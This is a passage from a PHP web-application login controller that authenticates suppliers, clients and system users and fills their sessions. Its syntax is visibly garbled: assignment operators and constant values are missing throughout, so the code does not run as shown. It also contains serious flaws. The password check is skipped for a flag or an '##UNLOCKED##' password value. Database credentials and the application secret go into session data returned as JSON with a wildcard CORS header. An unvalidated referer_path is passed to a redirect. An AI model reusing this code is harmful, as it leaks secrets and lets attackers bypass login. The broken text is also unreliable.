  4418.                                             'page_title' => "Login",
  4419.                                             'gocList' => $gocDataList,
  4420.                                             'gocId' => $gocId
  4421.                                         ));
  4422.                                 }
  4423.                             }
  4424.                         }
  4425.                         $jd = [];
  4426.                         if ($jd != null && $jd != '' && $jd != [])
  4427.                             $company_id_list $jd;
  4428.                         else
  4429.                             $company_id_list = [];
  4430. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4431. //                        foreach ($company_id_list as $c) {
  4432. //                            $company_name_list[$c] = $companyList[$c]['name'];
  4433. //                            $company_image_list[$c] = $companyList[$c]['image'];
  4434. //                        }
  4435.                     };
  4436.                 } else {
  4437.                     if ($cookieLogin == 1) {
  4438.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4439.                             array(
  4440.                                 'userId' => $userId
  4441.                             )
  4442.                         );
  4443.                     } else if ($encrypedLogin == 1) {
  4444.                         if (in_array($userType, [34]))
  4445.                             $specialLogin 1;
  4446.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4447.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4448.                                 array(
  4449.                                     'globalUserId' => $globalId
  4450.                                 )
  4451.                             );
  4452. //
  4453.                             if ($user)
  4454.                                 $userId $user->getClientId();
  4455.                             $clientId $userId;
  4456.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4457.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  4458.                                 array(
  4459.                                     'globalUserId' => $globalId
  4460.                                 )
  4461.                             );
  4462. //
  4463.                             if ($user)
  4464.                                 $userId $user->getSupplierId();
  4465.                             $supplierId $userId;
  4466.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  4467. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  4468. //                                array(
  4469. //                                    'globalId' => $globalId
  4470. //                                )
  4471. //                            );
  4472. //
  4473. //                            if($user)
  4474. //                                $userId=$user->getUserId();
  4475. //                            $applicantId = $userId;
  4476.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  4477.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4478.                                 array(
  4479.                                     'globalId' => $globalId
  4480.                                 )
  4481.                             );
  4482.                             if ($user)
  4483.                                 $userId $user->getUserId();
  4484.                         }
  4485.                     } else {
  4486.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4487.                             array(
  4488.                                 'userName' => $request->request->get('username')
  4489.                             )
  4490.                         );
  4491.                     }
  4492.                     if (!$user) {
  4493.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4494.                             array(
  4495.                                 'email' => $request->request->get('username'),
  4496.                                 'userName' => [null'']
  4497.                             )
  4498.                         );
  4499.                         if (!$user) {
  4500.                             $message "Wrong User Name";
  4501.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4502.                                 return new JsonResponse(array(
  4503.                                     'uid' => $session->get(UserConstants::USER_ID),
  4504.                                     'session' => $session,
  4505.                                     'success' => false,
  4506.                                     'errorStr' => $message,
  4507.                                     'session_data' => [],
  4508.                                 ));
  4509.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4510.                                 //                    return $response;
  4511.                             }
  4512.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4513.                                 "message" => $message,
  4514.                                 'page_title' => "Login",
  4515.                                 'gocList' => $gocDataList,
  4516.                                 'gocId' => $gocId
  4517.                             ));
  4518.                         } else {
  4519.                             //add the email as username as failsafe
  4520.                             $user->setUserName($request->request->get('username'));
  4521.                             $em->flush();
  4522.                         }
  4523.                     }
  4524.                     if ($user) {
  4525.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  4526.                             $message "Sorry, Your Account is Deactivated";
  4527.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  4528.                                 return new JsonResponse(array(
  4529.                                     'uid' => $session->get(UserConstants::USER_ID),
  4530.                                     'session' => $session,
  4531.                                     'success' => false,
  4532.                                     'errorStr' => $message,
  4533.                                     'session_data' => [],
  4534.                                 ));
  4535.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4536.                                 //                    return $response;
  4537.                             }
  4538.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4539.                                 "message" => $message,
  4540.                                 'page_title' => "Login",
  4541.                                 'gocList' => $gocDataList,
  4542.                                 'gocId' => $gocId
  4543.                             ));
  4544.                         }
  4545.                     }
  4546.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4547.                     } else if (!$this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4548.                         $message "Wrong Email/Password";
  4549.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4550.                             return new JsonResponse(array(
  4551.                                 'uid' => $session->get(UserConstants::USER_ID),
  4552.                                 'session' => $session,
  4553.                                 'success' => false,
  4554.                                 'errorStr' => $message,
  4555.                                 'session_data' => [],
  4556.                             ));
  4557.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4558.                             //                    return $response;
  4559.                         }
  4560.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4561.                             "message" => $message,
  4562.                             'page_title' => "Login",
  4563.                             'gocList' => $gocDataList,
  4564.                             'gocId' => $gocId
  4565.                         ));
  4566.                     }
  4567.                     $userType $user->getUserType();
  4568.                     $jd json_decode($user->getUserCompanyIdList(), true);
  4569.                     if ($jd != null && $jd != '' && $jd != [])
  4570.                         $company_id_list $jd;
  4571.                     else
  4572.                         $company_id_list = [$user->getUserCompanyId()];
  4573.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4574.                     foreach ($company_id_list as $c) {
  4575.                         if (isset($companyList[$c])) {
  4576.                             $company_name_list[$c] = $companyList[$c]['name'];
  4577.                             $company_image_list[$c] = $companyList[$c]['image'];
  4578.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  4579.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  4580.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  4581.                         }
  4582.                     }
  4583.                 }
  4584. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  4585.                 if ($remember_me == 1)
  4586.                     $session->set('REMEMBERME'1);
  4587.                 else
  4588.                     $session->set('REMEMBERME'0);
  4589.                 $config = array(
  4590.                     'firstLogin' => $firstLogin,
  4591.                     'rememberMe' => $remember_me,
  4592.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4593.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  4594.                     'applicationSecret' => $this->container->getParameter('secret'),
  4595.                     'gocId' => $gocId,
  4596.                     'appId' => $appIdFromUserName,
  4597.                     'gocDbName' => $gocDbName,
  4598.                     'gocDbUser' => $gocDbUser,
  4599.                     'gocDbHost' => $gocDbHost,
  4600.                     'gocDbPass' => $gocDbPass
  4601.                 );
  4602.                 $product_name_display_type 0;
  4603.                 if ($systemType != '_CENTRAL_') {
  4604.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  4605.                         'name' => 'product_name_display_method'
  4606.                     ));
  4607.                     if ($product_name_display_settings)
  4608.                         $product_name_display_type $product_name_display_settings->getData();
  4609.                 }
  4610.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4611.                     $userCompanyId 1;
  4612.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4613.                     if (isset($companyList[$userCompanyId])) {
  4614.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4615.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4616.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4617.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4618.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4619.                     }
  4620.                     // General User
  4621.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  4622.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4623.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  4624.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  4625.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4626.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4627.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  4628.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4629.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4630.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4631.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4632.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4633.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4634.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4635.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4636.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4637.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4638.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4639.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4640.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4641.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4642.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4643.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4644.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4645.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4646.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4647.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4648.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4649.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4650.                     //                $PL=json_decode($user->getPositionIds(), true);
  4651.                     $route_list_array = [];
  4652.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4653.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4654.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4655.                     $loginID 0;
  4656.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4657.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4658.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4659.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4660.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4661.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4662.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4663.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4664.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4665.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4666.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4667.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4668.                         $session->set('remoteVerified'1);
  4669.                         $session_data = array(
  4670.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4671.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4672.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4673.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4674.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4675.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4676.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4677.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4678.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4679.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4680.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4681.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4682.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4683.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4684.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4685.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4686.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4687.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4688.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4689.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4690.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4691.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4692.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4693.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4694.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4695.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4696.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4697.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4698.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4699.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4700.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4701.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4702.                     );
  4703.                     $session_data $this->filterClientSessionData($session_data);
  4704.                     $response = new JsonResponse(array(
  4705.                             'uid' => $session->get(UserConstants::USER_ID),
  4706.                             'session' => $session,
  4707.                             'success' => true,
  4708.                             'session_data' => $session_data,
  4709.                         ));
  4710.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4711.                         return $response;
  4712.                     }
  4713.                     if ($request->request->has('referer_path')) {
  4714.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4715.                             return $this->redirect($request->request->get('referer_path'));
  4716.                         }
  4717.                     }
  4718.                     //                    if($request->request->has('gocId')
  4719.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4720.                     return $this->redirectToRoute("supplier_dashboard");
  4721.                     //                    else
  4722.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4723.                 }
  4724.                 if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4725.                     // General User
  4726.                     $userCompanyId 1;
  4727.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4728.                     if (isset($companyList[$userCompanyId])) {
  4729.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4730.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4731.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4732.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4733.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4734.                     }
  4735.                     $session->set(UserConstants::USER_ID$user->getClientId());
  4736.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4737.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  4738.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  4739.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4740.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4741.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  4742.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4743.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4744.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4745.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4746.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4747.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4748.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4749.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4750.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4751.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4752.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4753.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4754.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4755.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4756.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4757.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4758.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4759.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4760.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4761.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4762.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4763.                     //                $PL=json_decode($user->getPositionIds(), true);
  4764.                     $route_list_array = [];
  4765.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4766.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4767.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4768.                     $loginID 0;
  4769.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4770.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4771.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4772.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4773.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4774.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4775.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4776.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4777.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4778.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4779.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4780.                     $session_data = array(
  4781.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4782.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4783.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4784.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4785.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4786.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4787.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4788.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4789.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4790.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4791.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4792.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4793.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4794.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4795.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4796.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4797.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4798.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4799.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4800.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4801.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4802.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4803.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4804.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4805.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4806.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4807.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4808.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4809.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4810.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4811.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4812.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4813.                     );
  4814.                     $session_data $this->filterClientSessionData($session_data);
  4815.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4816.                     $session_data $tokenData['sessionData'];
  4817.                     $token $tokenData['token'];
  4818.                     $session->set('token'$token);
  4819.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4820.                         $session->set('remoteVerified'1);
  4821.                         $response = new JsonResponse(array(
  4822.                             'uid' => $session->get(UserConstants::USER_ID),
  4823.                             'session' => $session,
  4824.                             'token' => $token,
  4825.                             'success' => true,
  4826.                             'session_data' => $session_data,
  4827.                         ));
  4828.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4829.                         return $response;
  4830.                     }
  4831.                     if ($request->request->has('referer_path')) {
  4832.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4833.                             return $this->redirect($request->request->get('referer_path'));
  4834.                         }
  4835.                     }
  4836.                     //                    if($request->request->has('gocId')
  4837.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4838.                     return $this->redirectToRoute("client_dashboard"); //will be client
  4839.                     //                    else
  4840.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4841.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  4842.                     // System administrator
  4843.                     // System administrator have successfully logged in. Lets add a login ID.
  4844.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4845.                         ->findOneBy(
  4846.                             array(
  4847.                                 'userId' => $user->getUserId()
  4848.                             )
  4849.                         );
  4850.                     if ($employeeObj) {
  4851.                         $employeeId $employeeObj->getEmployeeId();
  4852.                         $epositionId $employeeObj->getPositionId();
  4853.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4854.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4855.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4856.                     }
  4857.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  4858.                         ->findOneBy(
  4859.                             array(
  4860.                                 'userId' => $user->getUserId(),
  4861.                                 'workingStatus' => 1
  4862.                             )
  4863.                         );
  4864.                     if ($currentTask) {
  4865.                         $currentTaskId $currentTask->getId();
  4866.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  4867.                     }
  4868.                     $userId $user->getUserId();
  4869.                     $userCompanyId 1;
  4870.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  4871.                     $userEmail $user->getEmail();
  4872.                     $userImage $user->getImage();
  4873.                     $userFullName $user->getName();
  4874.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  4875.                     $position_list_array json_decode($user->getPositionIds(), true);
  4876.                     if ($position_list_array == null$position_list_array = [];
  4877.                     $filtered_pos_array = [];
  4878.                     foreach ($position_list_array as $defPos)
  4879.                         if ($defPos != '' && $defPos != 0)
  4880.                             $filtered_pos_array[] = $defPos;
  4881.                     $position_list_array $filtered_pos_array;
  4882.                     if (!empty($position_list_array))
  4883.                         foreach ($position_list_array as $defPos)
  4884.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  4885.                                 $curr_position_id $defPos;
  4886.                             }
  4887.                     $userDefaultRoute $user->getDefaultRoute();
  4888. //                    $userDefaultRoute = 'MATHA';
  4889.                     $allModuleAccessFlag 1;
  4890.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  4891.                         $userDefaultRoute '';
  4892. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  4893.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4894.                     if (isset($companyList[$userCompanyId])) {
  4895.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4896.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4897.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4898.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4899.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4900.                     }
  4901.                     if ($allModuleAccessFlag == 1)
  4902.                         $prohibit_list_array = [];
  4903.                     else if ($curr_position_id != 0)
  4904.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  4905.                     $loginID $this->get('user_module')->addUserLoginLog(
  4906.                         $userId,
  4907.                         $request->server->get("REMOTE_ADDR"),
  4908.                         $curr_position_id
  4909.                     );
  4910.                     $appIdList json_decode($user->getUserAppIdList());
  4911.                     $branchIdList json_decode($user->getUserBranchIdList());
  4912.                     if ($branchIdList == null$branchIdList = [];
  4913.                     $branchId $user->getUserBranchId();
  4914.                     if ($appIdList == null$appIdList = [];
  4915. //
  4916. //                    if (!in_array($user->getUserAppId(), $appIdList))
  4917. //                        $appIdList[] = $user->getUserAppId();
  4918. //
  4919. //                    foreach ($appIdList as $currAppId) {
  4920. //                        if ($currAppId == $user->getUserAppId()) {
  4921. //
  4922. //                            foreach ($company_id_list as $index_company => $company_id) {
  4923. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  4924. //                                $app_company_index = $currAppId . '_' . $company_id;
  4925. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  4926. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  4927. //                            }
  4928. //                        } else {
  4929. //
  4930. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  4931. //                                $this->getDoctrine()->getManager('company_group'),
  4932. //                                $gocEnabled,
  4933. //                                $currAppId
  4934. //                            );
  4935. //                            if (!empty($dataToConnect)) {
  4936. //                                $connector = $this->container->get('application_connector');
  4937. //                                $connector->resetConnection(
  4938. //                                    'default',
